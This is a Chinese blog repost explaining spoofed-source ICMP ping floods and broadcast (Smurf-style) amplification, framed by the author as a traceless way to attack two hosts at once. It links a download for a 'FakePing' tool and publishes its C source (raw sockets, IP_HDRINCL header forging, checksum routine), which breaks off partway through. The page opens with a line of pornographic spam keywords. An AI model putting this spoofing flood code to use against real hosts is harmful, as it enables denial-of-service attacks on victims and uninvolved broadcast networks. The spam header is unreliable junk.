乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      偽裝IP地址的洪水Ping攻擊 ——世界網(wǎng)絡(luò)

       深圳市泰仕達(dá) 2010-09-15
      偽裝IP地址的洪水Ping攻擊

      最近不少人又來號(hào)召大家一起去Ping死什么什么網(wǎng)站,不過從技術(shù)上來說,無論什么拒絕服務(wù)攻擊方式,都需要滿足一個(gè)條件:用最少的資源換取被攻擊者最大的消耗。像這樣大家一起去Ping不僅是奇怪的:用最大的資源換取對(duì)方最小的傷害;也是可笑的:人民戰(zhàn)爭(zhēng)大概屬于50多年前的行為了,在互聯(lián)網(wǎng)時(shí)代,并不是人多就能如何如何的。

      我們今天是來說Ping的,Ping是通過發(fā)送ICMP報(bào)文(類型8代碼0)探尋網(wǎng)絡(luò)主機(jī)是否存在的一個(gè)工具,很久以前,一部分操作系統(tǒng)(例如win95),不能很好處理過大的Ping包,導(dǎo)致出現(xiàn)了Ping to Death的攻擊方式(用大Ping包搞垮對(duì)方或者塞滿網(wǎng)絡(luò)),隨著操作系統(tǒng)的升級(jí),網(wǎng)絡(luò)帶寬的升級(jí)、計(jì)算機(jī)硬件的升級(jí),目前,大Ping包基本上沒有很大的攻擊效果(分布式攻擊除外),如果一定要使用Ping包去攻擊別的主機(jī),除非是利用TCP/IP協(xié)議的其他特性或者網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)的缺陷放大攻擊的力度(所謂正反饋)

      正常情況下,Ping的流程是這樣的:

      主機(jī)A發(fā)送ICMP 8,0報(bào)文給主機(jī)B

      主機(jī)B回送ICMp 0,0報(bào)文給主機(jī)A

      因?yàn)镮CMP基于無連結(jié),所以就給了我們可乘之機(jī),假設(shè)現(xiàn)在主機(jī)A偽裝成主機(jī)C發(fā)送ICMP 8,0報(bào)文,結(jié)果會(huì)怎么樣呢?顯然,主機(jī)B會(huì)以為是主機(jī)C發(fā)送的報(bào)文而去

      回應(yīng)主機(jī)C,結(jié)構(gòu)如下:

       偽裝為主機(jī)C 錯(cuò)誤的回復(fù)

      主機(jī)A--------------------->主機(jī)B------------------>主機(jī)C

      這種情況下,由于主機(jī)A只需要不斷發(fā)送Ping報(bào)文而不需要處理返回的EchoReply,所以攻擊力度成倍的增加,同時(shí)實(shí)際上主機(jī)B和主機(jī)C都是被進(jìn)攻的目標(biāo),而且不會(huì)留下自己的痕跡,是一種隱蔽的一石二鳥的攻擊方法。

      上面的方法用SOCK_RAW偽裝IP就可以輕松實(shí)現(xiàn),不過即使放大了兩倍,對(duì)于比較強(qiáng)壯的操作系統(tǒng)和較大的帶寬,也不見得有多大的效果,難道我們又來組織運(yùn)動(dòng)?不好吧,還是讓敵人給我們放大好了,TCP/IP中有一個(gè)概念叫做廣播,所謂廣播的意思是說有一個(gè)地址,任何局域網(wǎng)內(nèi)的主機(jī)都會(huì)接收發(fā)往這個(gè)地址的報(bào)文(就像電臺(tái)廣播一樣),要是?難道?沒錯(cuò)!如果我們往廣播地址發(fā)送一個(gè)ICMP ECHO報(bào)文(就是Ping廣播地址一下),結(jié)果會(huì)得到非常多的回應(yīng),以太網(wǎng)內(nèi)每一個(gè)允許接收廣播報(bào)文的主機(jī)都會(huì)回應(yīng)一個(gè)ICMP_ECHOREPLY,如果你想試驗(yàn),可以在unix的機(jī)器上Ping一下你局域網(wǎng)的廣播地址,會(huì)看到很多回應(yīng)的的dup包,就是重復(fù)的應(yīng)答,windows系統(tǒng)上不會(huì)有這樣的結(jié)果,因?yàn)槲④浀腜ing程序不對(duì)多個(gè)回應(yīng)進(jìn)行解包,收到第一個(gè)包以后就丟棄后面的了,同樣微軟的系統(tǒng)默認(rèn)也不回應(yīng)廣播地址的包,所以你最好在一個(gè)大量unix主機(jī)的局域網(wǎng)內(nèi)測(cè)試。

      說到這里,聰明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,沒錯(cuò),當(dāng)我們偽裝成被攻擊主機(jī)向一個(gè)廣播地址發(fā)送Ping請(qǐng)求的時(shí)候,所有這個(gè)廣播地址內(nèi)的主機(jī)都會(huì)回應(yīng)這個(gè)Ping請(qǐng)求,這樣,相當(dāng)于是N倍的攻擊力度?。∟=廣播地址內(nèi)回應(yīng)Ping包的主機(jī)數(shù)量)

       

      偽裝為主機(jī)C 所有廣播主機(jī)都會(huì)錯(cuò)誤的回復(fù)

      主機(jī)A--------------------->廣播地址=========================>主機(jī)C

      我寫了一個(gè)FakePing的工具,可以在Http://www./shotgun/FakePing.exe下載。

      使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是廣播地址,那么FakeIP是被攻擊目標(biāo)。

      源碼公布如下:

      typedef struct _iphdr //定義IP首部

      {

      unsigned char h_verlen; //4位首部長(zhǎng)度,4位IP版本號(hào)

      unsigned char tos; //8位服務(wù)類型TOS

      unsigned short total_len; //16位總長(zhǎng)度(字節(jié))

      unsigned short ident; //16位標(biāo)識(shí)

      unsigned short frag_and_flags; //3位標(biāo)志位

      unsigned char ttl; //8位生存時(shí)間 TTL

      unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)

      unsigned short checksum; //16位IP首部校驗(yàn)和

      unsigned int sourceIP; //32位源IP地址

      unsigned int destIP; //32位目的IP地址

      }IP_HEADER;

      // 定義ICMP首部

      typedef struct _ihdr

      {

      BYTE i_type; //8位類型

      BYTE i_code; //8位代碼

      USHORT i_cksum; //16位校驗(yàn)和

      USHORT i_id; //識(shí)別號(hào)(一般用進(jìn)程號(hào)作為識(shí)別號(hào))

      USHORT i_seq; //報(bào)文序列號(hào)

      ULONG timestamp; //時(shí)間戳

      }ICMP_HEADER;

      //CheckSum:計(jì)算校驗(yàn)和的子函數(shù)

      USHORT checksum(USHORT *buffer, int size)

      {

      unsigned long cksum=0;

      while(size >1)

       {

       cksum+=*buffer++;

       size -=sizeof(USHORT);

       }

      if(size )

       {

       cksum += *(UCHAR*)buffer;

       }

      cksum = (cksum >> 16) + (cksum & 0xffff);

      cksum += (cksum >>16);

      return (USHORT)(~cksum);

      }

      //FakePing主函數(shù)

      int main(int argc, char **argv)

      {

      int datasize,ErrorCode,counter,flag;

      int TimeOut=2000, SendSEQ=0, PacketSize=32;

      char SendBuf[65535]={0};

      WSADATA wsaData;

      SOCKET SockRaw=(SOCKET)NULL;

      struct sockaddr_in DestAddr;

      IP_HEADER ip_header;

      ICMP_HEADER icmp_header;

      char FakeSourceIp[20],DestIp[20];

      //接受命令行參數(shù)

      if (argc<3)

       {

       printf("FakePing by Shotgun

      ");

       printf(" This program can do Ping-Flooding from a FakeIP

      ");

       printf(" Using a BroadCast IP as the FakeIP will enhance the effect

      ");

       printf("Email:

      ");

       printf(" Shotgun@Xici.Net

      ");

       printf("HomePage:

      ");

       printf(" http://It.Xici.Net

      ");

       printf(" http://www.Patching.Net

      ");

       printf("USAGE:

      FakePing.exe FakeSourceIp DestinationIp [PacketSize]

      ");

       printf("Example:

      ");

       printf(" FakePing.exe 192.168.15.23 192.168.15.255

      ");

       printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400

      ");

       exit(0);

       }

      strcpy(FakeSourceIp,argv[1]);

      strcpy(DestIp,argv[2]);

      if (argc>3) PacketSize=atoi(argv[3]);

      if (PacketSize>60000)

       {

       printf("Error! Packet size too big, must <60K

      ");

       exit(0);

       }

      printf("Now Fake %s Ping %s using Packet size=%d bytes

      ",

      FakeSourceIp, DestIp, PacketSize);

      printf(" Ctrl+C to Quit

      ");

      //初始化SOCK_RAW

      if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

       {

       fprintf(stderr,"WSAStartup failed: %d

      ",ErrorCode);

       ExitProcess(STATUS_FAILED);

       }

      if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

       {

       fprintf(stderr,"WSASocket() failed: %d

      ",WSAGetLastError());

       ExitProcess(STATUS_FAILED);

       }

      flag=TRUE;

      //設(shè)置IP_HDRINCL以自己填充IP首部

      ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

      if(ErrorCode==SOCKET_ERROR)

       printf("Set IP_HDRINCL Error!

      ");

      __try

      {

      //設(shè)置發(fā)送超時(shí)

      ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

      if (ErrorCode==SOCKET_ERROR)

       {

       fprintf(stderr,"Failed to set send TimeOut: %d

      ",WSAGetLastError());

       __leave;

       }

      memset(&DestAddr,0,sizeof(DestAddr));

      DestAddr.sin_family=AF_INET;

      DestAddr.sin_addr.s_addr=inet_addr(DestIp);

      //填充IP首部

      ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號(hào),低四位首部長(zhǎng)度

      ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位總長(zhǎng)度(字節(jié))

      ip_header.ident=1;

      //16位標(biāo)識(shí)

      ip_header.frag_and_flags=0;

      //3位標(biāo)志位

      ip_header.ttl=128;

      //8位生存時(shí)間 TTL

      ip_header.proto=IPPROTO_ICMP;

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多